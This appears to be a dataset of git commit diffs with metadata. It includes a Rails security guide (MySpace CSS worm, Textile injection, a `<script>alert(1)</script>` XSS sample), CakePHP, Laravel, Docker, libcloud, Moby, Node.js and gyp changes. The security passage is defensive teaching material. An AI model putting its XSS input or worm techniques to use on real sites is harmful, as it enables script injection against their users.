<ide> MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
<ide>
<ide> Another problem for the worm's author were CSRF security tokens. Without them he
<ide>
<ide> In the end, he got a 4 KB worm, which he injected into his profile page.
<ide>
<del>The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
<add>The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
<ide>
<ide> #### Countermeasures
<ide>
<ide> This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
<ide>
<ide> ### Textile Injection
<ide>
<del>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
<add>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](http://redcloth.org/) is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
<ide>
<del>For example, RedCloth translates `_test_` to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
<add>For example, RedCloth translates `_test_` to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the [all-new version 4](http://www.redcloth.org) that removed serious bugs. However, even that version has [some security bugs](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), so the countermeasures still apply. Here is an example for version 3.0.4:
<ide>
<ide> ```ruby
<ide> RedCloth.new('<script>alert(1)</script>').to_html
<ide> It is recommended to _(highlight)use RedCloth in combination with a whitelist in
<ide>
<ide> NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
<ide>
<del>If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
<add>If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
<ide>
<ide> ### Command Line Injection
<ide>
<ide> _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS at
<ide> * X-Content-Type-Options
<ide> _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
<ide> * X-Content-Security-Policy
<del>"A powerful mechanism for controlling which sites certain content types can be loaded from":http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html
<add>[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html)
<ide> * Access-Control-Allow-Origin
<ide> Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
<ide> * Strict-Transport-Security
<del>"Used to control if the browser is allowed to only access a site over a secure connection":http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
<add>[Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
<ide>
<ide> Additional Resources
<ide> --------------------
<ide>
<ide> The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
<ide>
<del>* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info
<del>* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
<del>* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
<del>* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html
<add>* The Ruby on Rails security project posts security news regularly: [http://www.rorsecurity.info](http://www.rorsecurity.info)
<add>* Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security)
<add>* [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too)
<add>* A [good security blog](http://ha.ckers.org/blog/) including the [Cross-Site scripting Cheat Sheet](http://ha.ckers.org/xss.html)
<ide><path>guides/source/testing.md
<ide> In Rails, unit tests are what you write to test your models.
<ide>
<ide> For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
<ide>
<del>NOTE: For more information on Rails <i>scaffolding</i>, refer to "Getting Started with Rails":getting_started.html
<add>NOTE: For more information on Rails <i>scaffolding</i>, refer to [Getting Started with Rails](getting_started.html)
<ide>
<ide> When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/unit` folder:
<ide>
<ide> Finished in 0.193608 seconds.
<ide>
<ide> Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
<ide>
<del>TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html.
<add>TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with [15 TDD steps to create a Rails application](http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html).
<ide>
<ide> To see how an error gets reported, here's a test containing an error:
<ide>
<ide> assert_select "ol" do
<ide> end
<ide> ```
<ide>
<del>The `assert_select` assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html.
<add>The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html).
<ide>
<ide> #### Additional View-Based Assertions
<ide>
<ide> Brief Note About `Test::Unit`
<ide> Ruby ships with a boat load of libraries. One little gem of a library is `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing
<ide> us to use all of the basic assertions in our tests.
<ide>
<del>NOTE: For more information on `Test::Unit`, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/
<add>NOTE: For more information on `Test::Unit`, refer to [test/unit Documentation](http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/)
<ide>
<ide> Setup and Teardown
<ide> ------------------
<ide> Other Testing Approaches
<ide>
<ide> The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
<ide>
<del>* "NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use.
<del>* "Factory Girl":https://github.com/thoughtbot/factory_girl/tree/master, a replacement for fixtures.
<del>* "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures.
<del>* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to `test/unit` with additional helpers, macros, and assertions.
<del>* "RSpec":http://relishapp.com/rspec, a behavior-driven development framework
<add>* [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use.
<add>* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures.
<add>* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures.
<add>* [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions.
<add>* [RSpec](http://relishapp.com/rspec), a behavior-driven development framework
<ide><path>guides/source/upgrading_ruby_on_rails.md
<ide> Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep
<ide>
<ide> ### Identity Map
<ide>
<del>Rails 4.0 has removed the identity map from Active Record, due to "some inconsistencies with associations":https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6. If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.
<add>Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.
<ide>
<ide> ### Active Record
<ide>
<ide> The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.
<ide>
<del>Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of rails new order was applied after previous defined order. But this is no long true. Check "ActiveRecord Query guide":active_record_querying.html#ordering for more information.
<add>Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of rails new order was applied after previous defined order. But this is no long true. Check [ActiveRecord Query guide](active_record_querying.html#ordering) for more information.
<ide>
<ide> Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. Now you shouldn't use instance methods, it's deprecated. You must change them, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
<ide>
<ide> config.assets.debug = true
<ide>
<ide> ### config/environments/production.rb
<ide>
<del>Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide.
<add>Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
<ide>
<ide> ```ruby
<ide> # Compress JavaScripts and CSS
| 31
|
PHP
|
PHP
|
fix regression caused by pr
|
badc37b11489ce14c7488a33926473b5fdc67fba
|
<ide><path>src/Core/ObjectRegistry.php
<ide> abstract class ObjectRegistry
<ide> */
<ide> public function load($objectName, $config = [])
<ide> {
<del> if (empty($config) && !isset($this->_loaded[$objectName])) {
<del> list(, $name) = pluginSplit($objectName);
<del> } else {
<add> if (is_array($config) && isset($config['className'])) {
<ide> $name = $objectName;
<add> $objectName = $config['className'];
<add> } else {
<add> list(, $name) = pluginSplit($objectName);
<ide> }
<ide>
<ide> $loaded = isset($this->_loaded[$name]);
<ide> public function load($objectName, $config = [])
<ide> return $this->_loaded[$name];
<ide> }
<ide>
<del> if (is_array($config) && isset($config['className'])) {
<del> $objectName = $config['className'];
<del> }
<ide> $className = $this->_resolveClassName($objectName);
<ide> if (!$className || (is_string($className) && !class_exists($className))) {
<ide> list($plugin, $objectName) = pluginSplit($objectName);
<ide><path>tests/TestCase/ORM/BehaviorRegistryTest.php
<ide> public function testLoadPlugin()
<ide> {
<ide> Plugin::load('TestPlugin');
<ide> $result = $this->Behaviors->load('TestPlugin.PersisterOne');
<del> $this->assertInstanceOf('TestPlugin\Model\Behavior\PersisterOneBehavior', $result);
<add>
<add> $expected = 'TestPlugin\Model\Behavior\PersisterOneBehavior';
<add> $this->assertInstanceOf($expected, $result);
<add> $this->assertInstanceOf($expected, $this->Behaviors->PersisterOne);
<add>
<add> $this->Behaviors->unload('PersisterOne');
<add>
<add> $result = $this->Behaviors->load('TestPlugin.PersisterOne', ['foo' => 'bar']);
<add> $this->assertInstanceOf($expected, $result);
<add> $this->assertInstanceOf($expected, $this->Behaviors->PersisterOne);
<ide> }
<ide>
<ide> /**
| 2
|
Mixed
|
Javascript
|
add bootstrap preset
|
5801d6da046fde63bfc2db70a9ea0efb5f91e311
|
<ide><path>src/Illuminate/Foundation/Console/PresetCommand.php
<ide> class PresetCommand extends Command
<ide> *
<ide> * @var string
<ide> */
<del> protected $signature = 'preset { type : The preset type (fresh, react) }';
<add> protected $signature = 'preset { type : The preset type (fresh, bootstrap, react) }';
<ide>
<ide> /**
<ide> * The console command description.
<ide> class PresetCommand extends Command
<ide> */
<ide> public function handle()
<ide> {
<del> if (! in_array($this->argument('type'), ['fresh', 'react'])) {
<add> if (! in_array($this->argument('type'), ['fresh', 'bootstrap', 'react'])) {
<ide> throw new InvalidArgumentException('Invalid preset.');
<ide> }
<ide>
<ide> protected function fresh()
<ide> $this->info('Front-end scaffolding removed successfully.');
<ide> }
<ide>
<add> /**
<add> * Install the "fresh" preset.
<add> *
<add> * @return void
<add> */
<add> protected function bootstrap()
<add> {
<add> Presets\Bootstrap::install();
<add>
<add> $this->info('Bootstrap scaffolding installed successfully.');
<add> $this->comment('Please run "npm install && npm run dev" to compile your fresh scaffolding.');
<add> }
<add>
<ide> /**
<ide> * Install the "react" preset.
<ide> *
<ide> public function react()
<ide> Presets\React::install();
<ide>
<ide> $this->info('React scaffolding installed successfully.');
<del> $this->comment('Run "npm install && npm run dev" to compile your fresh scaffolding.');
<add> $this->comment('Please run "npm install && npm run dev" to compile your fresh scaffolding.');
<ide> }
<ide> }
<ide><path>src/Illuminate/Foundation/Console/Presets/Bootstrap.php
<add><?php
<add>
<add>namespace Illuminate\Foundation\Console\Presets;
<add>
<add>use Illuminate\Support\Arr;
<add>use Illuminate\Filesystem\Filesystem;
<add>
<add>class Bootstrap
<add>{
<add> /**
<add> * Install the preset.
<add> *
<add> * @return void
<add> */
<add> public static function install()
<add> {
<add> static::updatePackages();
<add> static::updateBootstrapping();
<add> static::removeComponent();
<add> static::removeNodeModules();
<add> }
<add>
<add> /**
<add> * Update the "package.json" file.
<add> *
<add> * @return void
<add> */
<add> protected static function updatePackages()
<add> {
<add> if (! file_exists(base_path('package.json'))) {
<add> return;
<add> }
<add>
<add> $packages = json_decode(file_get_contents(base_path('package.json')), true);
<add>
<add> $packages['devDependencies'] = static::updatePackageArray(
<add> $packages['devDependencies']
<add> );
<add>
<add> file_put_contents(
<add> base_path('package.json'),
<add> json_encode($packages, JSON_PRETTY_PRINT)
<add> );
<add> }
<add>
<add> /**
<add> * Update the given package array.
<add> *
<add> * @param array $packages
<add> * @return array
<add> */
<add> protected static function updatePackageArray(array $packages)
<add> {
<add> return Arr::except($packages, ['vue']);
<add> }
<add>
<add> /**
<add> * Update the example component.
<add> *
<add> * @return void
<add> */
<add> protected static function removeComponent()
<add> {
<add> (new Filesystem)->deleteDirectory(
<add> resource_path('assets/js/components')
<add> );
<add> }
<add>
<add> /**
<add> * Update the bootstrapping files.
<add> *
<add> * @return void
<add> */
<add> protected static function updateBootstrapping()
<add> {
<add> copy(__DIR__.'/bootstrap-stubs/app.js', resource_path('assets/js/app.js'));
<add>
<add> copy(__DIR__.'/bootstrap-stubs/bootstrap.js', resource_path('assets/js/bootstrap.js'));
<add> }
<add>
<add> /**
<add> * Remove the installed Node modules.
<add> *
<add> * @return void
<add> */
<add> protected static function removeNodeModules()
<add> {
<add> tap(new Filesystem, function ($files) {
<add> $files->deleteDirectory(base_path('node_modules'));
<add>
<add> $files->delete(base_path('yarn.lock'));
<add> });
<add> }
<add>}
<ide><path>src/Illuminate/Foundation/Console/Presets/React.php
<ide> protected static function updatePackages()
<ide>
<ide> $packages = json_decode(file_get_contents(base_path('package.json')), true);
<ide>
<del> unset($packages['devDependencies']['vue']);
<del>
<del> $packages['devDependencies'] += [
<del> 'babel-preset-react' => '^6.23.0',
<del> 'react' => '^15.4.2',
<del> 'react-dom' => '^15.4.2',
<del> ];
<add> $packages['devDependencies'] = static::updatePackageArray(
<add> $packages['devDependencies']
<add> );
<ide>
<ide> ksort($packages['devDependencies']);
<ide>
<ide> protected static function updatePackages()
<ide> );
<ide> }
<ide>
<add> /**
<add> * Update the given package array.
<add> *
<add> * @param array $packages
<add> * @return array
<add> */
<add> protected static function updatePackageArray(array $packages)
<add> {
<add> unset($packages['vue']);
<add>
<add> return $packages += [
<add> 'babel-preset-react' => '^6.23.0',
<add> 'react' => '^15.4.2',
<add> 'react-dom' => '^15.4.2',
<add> ];
<add> }
<add>
<ide> /**
<ide> * Update the Webpack configuration.
<ide> *
<ide><path>src/Illuminate/Foundation/Console/Presets/bootstrap-stubs/app.js
<add>
<add>/**
<add> * First we will load all of this project's JavaScript dependencies which
<add> * includes jQuery and other helpers. It's a great starting point when
<add> * building simple applications where you don't need any complexity.
<add> */
<add>
<add>require('./bootstrap');
<ide><path>src/Illuminate/Foundation/Console/Presets/bootstrap-stubs/bootstrap.js
<add>
<add>window._ = require('lodash');
<add>
<add>/**
<add> * We'll load jQuery and the Bootstrap jQuery plugin which provides support
<add> * for JavaScript based Bootstrap features such as modals and tabs. This
<add> * code may be modified to fit the specific needs of your application.
<add> */
<add>
<add>window.$ = window.jQuery = require('jquery');
<add>
<add>require('bootstrap-sass');
<add>
<add>/**
<add> * We'll load the axios HTTP library which allows us to easily issue requests
<add> * to our Laravel back-end. This library automatically handles sending the
<add> * CSRF token as a header based on the value of the "XSRF" token cookie.
<add> */
<add>
<add>window.axios = require('axios');
<add>
<add>window.axios.defaults.headers.common = {
<add> 'X-CSRF-TOKEN': window.Laravel.csrfToken,
<add> 'X-Requested-With': 'XMLHttpRequest'
<add>};
<add>
<add>/**
<add> * Echo exposes an expressive API for subscribing to channels and listening
<add> * for events that are broadcast by Laravel. Echo and event broadcasting
<add> * allows your team to easily build robust real-time web applications.
<add> */
<add>
<add>// import Echo from 'laravel-echo'
<add>
<add>// window.Pusher = require('pusher-js');
<add>
<add>// window.Echo = new Echo({
<add>// broadcaster: 'pusher',
<add>// key: 'your-pusher-key'
<add>// });
<ide><path>src/Illuminate/Foundation/Console/Presets/react-stubs/app.js
<ide>
<ide> /**
<ide> * First we will load all of this project's JavaScript dependencies which
<del> * includes Vue and other libraries. It is a great starting point when
<del> * building robust, powerful web applications using Vue and Laravel.
<add> * includes React and other helpers. It's a great starting point while
<add> * building robust, powerful web applications using React + Laravel.
<ide> */
<ide>
<ide> require('./bootstrap');
| 6
|
Text
|
Text
|
update english expressions by review comments
|
78f4a9dad4fb92fb2175ff5afe5fb2d7938e9668
|
<ide><path>docs/reference/run.md
<ide> driver. For detailed information on working with logging drivers, see
<ide> Fluentd logging driver for Docker. Writes log messages to fluentd (forward input). `docker logs`
<ide> command is not available for this logging driver.
<ide>
<del>Some options are supported by specifying `--log-opt` as many as needed, like `--log-opt fluentd-address=localhost:24224`.
<add>Some options are supported by specifying `--log-opt` as many as needed, like `--log-opt fluentd-address=localhost:24224 --log-opt fluentd-tag=docker.{{.Name}}`.
<ide>
<ide> - `fluentd-address`: specify `host:port` to connect [localhost:24224]
<ide> - `fluentd-tag`: specify tag for fluentd message, which interpret some markup, ex `{{.ID}}`, `{{.FullID}}` or `{{.Name}}` [docker.{{.ID}}]
| 1
|
Python
|
Python
|
add type annotation for get_driver and set_driver
|
f5a201637f517c86128ef049314996e3bc97e195
|
<ide><path>libcloud/compute/providers.py
<ide> from __future__ import absolute_import
<ide>
<ide> from typing import Type
<add>from typing import Union
<ide> from types import ModuleType
<ide>
<ide> from libcloud.compute.types import Provider
<ide>
<ide>
<ide> def get_driver(provider):
<del> # type: (Provider) -> Type[NodeDriver]
<add> # type: (Union[Provider, str]) -> Type[NodeDriver]
<ide> deprecated_constants = OLD_CONSTANT_TO_NEW_MAPPING
<ide> return _get_provider_driver(drivers=DRIVERS, provider=provider,
<ide> deprecated_providers=DEPRECATED_DRIVERS,
<ide> deprecated_constants=deprecated_constants)
<ide>
<ide>
<ide> def set_driver(provider, module, klass):
<del> # type: (Provider, ModuleType, type) -> Type[NodeDriver]
<add> # type: (Union[Provider, str], ModuleType, type) -> Type[NodeDriver]
<ide> return _set_provider_driver(drivers=DRIVERS, provider=provider,
<ide> module=module, klass=klass)
| 1
|
PHP
|
PHP
|
remove unused variable
|
97ccbfb004e2f7d5c6e338c43f995c7b593a70c6
|
<ide><path>src/Controller/Component/RequestHandlerComponent.php
<ide> public function beforeRender(EventInterface $event): void
<ide> public function accepts($type = null)
<ide> {
<ide> $controller = $this->getController();
<del> $request = $controller->getRequest();
<ide> /** @var array $accepted */
<ide> $accepted = $controller->getRequest()->accepts();
<ide>
| 1
|
Javascript
|
Javascript
|
remove unused fields from error dialog
|
e3b7520174fbf7e22c07c1c5107a8dd60f2b23d1
|
<ide><path>Libraries/Core/ReactFiberErrorDialog.js
<ide> */
<ide>
<ide> export type CapturedError = {
<del> +componentName: ?string,
<ide> +componentStack: string,
<ide> +error: mixed,
<ide> +errorBoundary: ?{...},
<del> +errorBoundaryFound: boolean,
<del> +errorBoundaryName: string | null,
<del> +willRetry: boolean,
<ide> ...
<ide> };
<ide>
| 1
|
Text
|
Text
|
add documentation for response.flushheaders()
|
0d32b9de77891fcb1775f6261cd980e0e9358862
|
<ide><path>doc/api/http.md
<ide> request was initiated via [`http.get()`][].
<ide> added: v1.6.0
<ide> -->
<ide>
<del>Flush the request headers.
<add>Flushes the request headers.
<ide>
<ide> For efficiency reasons, Node.js normally buffers the request headers until
<ide> `request.end()` is called or the first chunk of request data is written. It
<ide> added: v0.0.2
<ide> The `response.finished` property will be `true` if [`response.end()`][]
<ide> has been called.
<ide>
<add>### response.flushHeaders()
<add><!-- YAML
<add>added: v1.6.0
<add>-->
<add>
<add>Flushes the response headers. See also: [`request.flushHeaders()`][].
<add>
<ide> ### response.getHeader(name)
<ide> <!-- YAML
<ide> added: v0.4.0
<ide> not abort the request or do anything besides add a `'timeout'` event.
<ide> [`new URL()`]: url.html#url_constructor_new_url_input_base
<ide> [`removeHeader(name)`]: #http_request_removeheader_name
<ide> [`request.end()`]: #http_request_end_data_encoding_callback
<add>[`request.flushHeaders()`]: #http_request_flushheaders
<ide> [`request.getHeader()`]: #http_request_getheader_name
<ide> [`request.setHeader()`]: #http_request_setheader_name_value
<ide> [`request.setTimeout()`]: #http_request_settimeout_timeout_callback
| 1
|
Javascript
|
Javascript
|
flip atomics.notify alias
|
a7b59d6204656f45abb91158648f19687b7c73b0
|
<ide><path>lib/internal/per_context.js
<ide>
<ide> // https://github.com/nodejs/node/issues/21219
<ide> // Adds Atomics.notify and warns on first usage of Atomics.wake
<add> // https://github.com/v8/v8/commit/c79206b363 adds Atomics.notify so
<add> // now we alias Atomics.wake to notify so that we can remove it
<add> // semver major without worrying about V8.
<ide>
<del> const AtomicsWake = global.Atomics.wake;
<add> const AtomicsNotify = global.Atomics.notify;
<ide> const ReflectApply = global.Reflect.apply;
<ide>
<del> // wrap for function.name
<del> function notify(...args) {
<del> return ReflectApply(AtomicsWake, this, args);
<del> }
<del>
<ide> const warning = 'Atomics.wake will be removed in a future version, ' +
<ide> 'use Atomics.notify instead.';
<ide>
<ide> let wakeWarned = false;
<del> function wake(...args) {
<add> function wake(typedArray, index, count) {
<ide> if (!wakeWarned) {
<ide> wakeWarned = true;
<ide>
<ide> }
<ide> }
<ide>
<del> return ReflectApply(AtomicsWake, this, args);
<add> return ReflectApply(AtomicsNotify, this, arguments);
<ide> }
<ide>
<ide> global.Object.defineProperties(global.Atomics, {
<del> notify: {
<del> value: notify,
<del> writable: true,
<del> enumerable: false,
<del> configurable: true,
<del> },
<ide> wake: {
<ide> value: wake,
<ide> writable: true,
| 1
|
Javascript
|
Javascript
|
ignore debughash class
|
618960469d91cf8fa7787e5ec1f5a7fbfabd5ccb
|
<ide><path>lib/util/createHash.js
<ide> class BulkUpdateDecorator extends Hash {
<ide> }
<ide> }
<ide>
<del>/**
<del> * istanbul ignore next
<del> */
<add>/* istanbul ignore next */
<ide> class DebugHash extends Hash {
<ide> constructor() {
<ide> super();
| 1
|
Go
|
Go
|
remove use of deprecated client.newclient()
|
3a4bb96ab74125c95702b818725ba92a27e3a450
|
<ide><path>client/hijack_test.go
<ide> func TestTLSCloseWriter(t *testing.T) {
<ide> serverURL, err := url.Parse(ts.URL)
<ide> assert.NilError(t, err)
<ide>
<del> client, err := NewClient("tcp://"+serverURL.Host, "", ts.Client(), nil)
<add> client, err := NewClientWithOpts(WithHost("tcp://"+serverURL.Host), WithHTTPClient(ts.Client()))
<ide> assert.NilError(t, err)
<ide>
<ide> resp, err := client.postHijacked(context.Background(), "/asdf", url.Values{}, nil, map[string][]string{"Content-Type": {"text/plain"}})
<ide><path>integration-cli/docker_api_containers_test.go
<ide> func (s *DockerSuite) TestPutContainerArchiveErrSymlinkInVolumeToReadOnlyRootfs(
<ide> // Attempt to extract to a symlink in the volume which points to a
<ide> // directory outside the volume. This should cause an error because the
<ide> // rootfs is read-only.
<del> var httpClient *http.Client
<del> cli, err := client.NewClient(request.DaemonHost(), "v1.20", httpClient, map[string]string{})
<add> cli, err := client.NewClientWithOpts(client.FromEnv, client.WithVersion("v1.20"))
<ide> c.Assert(err, checker.IsNil)
<ide>
<ide> err = cli.CopyToContainer(context.Background(), cID, "/vol2/symlinkToAbsDir", nil, types.CopyToContainerOptions{})
<ide><path>integration-cli/docker_cli_daemon_test.go
<ide> import (
<ide> "time"
<ide>
<ide> "github.com/cloudflare/cfssl/helpers"
<del> "github.com/docker/docker/api"
<ide> "github.com/docker/docker/api/types"
<del> "github.com/docker/docker/client"
<ide> moby_daemon "github.com/docker/docker/daemon"
<ide> "github.com/docker/docker/integration-cli/checker"
<ide> "github.com/docker/docker/integration-cli/cli"
<ide> func (s *DockerDaemonSuite) TestFailedPluginRemove(c *check.C) {
<ide> testRequires(c, DaemonIsLinux, IsAmd64, testEnv.IsLocalDaemon)
<ide> d := daemon.New(c, dockerBinary, dockerdBinary)
<ide> d.Start(c)
<del> cli, err := client.NewClient(d.Sock(), api.DefaultVersion, nil, nil)
<del> c.Assert(err, checker.IsNil)
<add> cli := d.NewClientT(c)
<ide>
<ide> ctx, cancel := context.WithTimeout(context.Background(), 300*time.Second)
<ide> defer cancel()
| 3
|
Javascript
|
Javascript
|
fix pipeline regression
|
d332ae4799fabc3852a22706b3d3496ebfcbf038
|
<ide><path>lib/_http_server.js
<ide> function connectionListener(socket) {
<ide> }
<ide> }
<ide>
<del> if (socket._paused) {
<add> if (socket._paused && socket.parser) {
<ide> // onIncoming paused the socket, we should pause the parser as well
<ide> debug('pause parser');
<ide> socket.parser.pause();
<ide> function connectionListener(socket) {
<ide> // If we previously paused, then start reading again.
<ide> if (socket._paused && !needPause) {
<ide> socket._paused = false;
<del> socket.parser.resume();
<add> if (socket.parser)
<add> socket.parser.resume();
<ide> socket.resume();
<ide> }
<ide> }
<ide><path>test/parallel/test-http-pipeline-regr-3508.js
<add>'use strict';
<add>const common = require('../common');
<add>const assert = require('assert');
<add>const http = require('http');
<add>const net = require('net');
<add>
<add>var once = false;
<add>var first = null;
<add>var second = null;
<add>
<add>const chunk = new Buffer(1024);
<add>chunk.fill('X');
<add>
<add>var size = 0;
<add>
<add>var more;
<add>var done;
<add>
<add>var server = http.createServer(function(req, res) {
<add> if (!once)
<add> server.close();
<add> once = true;
<add>
<add> if (first === null) {
<add> first = res;
<add> return;
<add> }
<add> if (second === null) {
<add> second = res;
<add> res.write(chunk);
<add> } else {
<add> res.end(chunk);
<add> }
<add> size += res.outputSize;
<add> if (size <= req.socket._writableState.highWaterMark) {
<add> more();
<add> return;
<add> }
<add> done();
<add>}).on('upgrade', function(req, socket) {
<add> second.end(chunk, function() {
<add> socket.end();
<add> });
<add> first.end('hello');
<add>}).listen(common.PORT, function() {
<add> var s = net.connect(common.PORT);
<add> more = function() {
<add> s.write('GET / HTTP/1.1\r\n\r\n');
<add> };
<add> done = function() {
<add> s.write('GET / HTTP/1.1\r\n\r\n' +
<add> 'GET / HTTP/1.1\r\nConnection: upgrade\r\nUpgrade: ws\r\n\r\naaa');
<add> };
<add> more();
<add> more();
<add> s.resume();
<add>});
| 2
|
Ruby
|
Ruby
|
add audit for unversioned urls with checksum
|
1064678d3dd8b0acc03a9a71abab09d1d818990c
|
<ide><path>Library/Homebrew/cask/audit.rb
<ide> def check_sha256
<ide> return unless cask.sha256
<ide>
<ide> check_sha256_no_check_if_latest
<add> check_sha256_no_check_if_unversioned
<ide> check_sha256_actually_256
<ide> check_sha256_invalid
<ide> end
<ide> def check_sha256_no_check_if_latest
<ide> add_error "you should use sha256 :no_check when version is :latest"
<ide> end
<ide>
<add> def check_sha256_no_check_if_unversioned
<add> return if cask.sha256 == :no_check
<add>
<add> add_error "Use `sha256 :no_check` when URL is unversioned." if cask.url.unversioned?
<add> end
<add>
<ide> def check_sha256_actually_256
<ide> odebug "Verifying sha256 string is a legal SHA-256 digest"
<ide> return unless cask.sha256.is_a?(Checksum)
| 1
|
Python
|
Python
|
replace deprecated iteritems() for items()
|
64161f2a8616771a37994e24444bbb7d74df8f62
|
<ide><path>tools/gyp/pylib/gyp/generator/compile_commands_json.py
<ide> def CalculateVariables(default_variables, params):
<ide>
<ide> def AddCommandsForTarget(cwd, target, params, per_config_commands):
<ide> output_dir = params['generator_flags']['output_dir']
<del> for configuration_name, configuration in target['configurations'].iteritems():
<add> for configuration_name, configuration in target['configurations'].items():
<ide> builddir_name = os.path.join(output_dir, configuration_name)
<ide>
<ide> if IsMac(params):
<ide> def resolve(filename):
<ide>
<ide> def GenerateOutput(target_list, target_dicts, data, params):
<ide> per_config_commands = {}
<del> for qualified_target, target in target_dicts.iteritems():
<add> for qualified_target, target in target_dicts.items():
<ide> build_file, target_name, toolset = (
<ide> gyp.common.ParseQualifiedTarget(qualified_target))
<ide> if IsMac(params):
<ide> def GenerateOutput(target_list, target_dicts, data, params):
<ide> AddCommandsForTarget(cwd, target, params, per_config_commands)
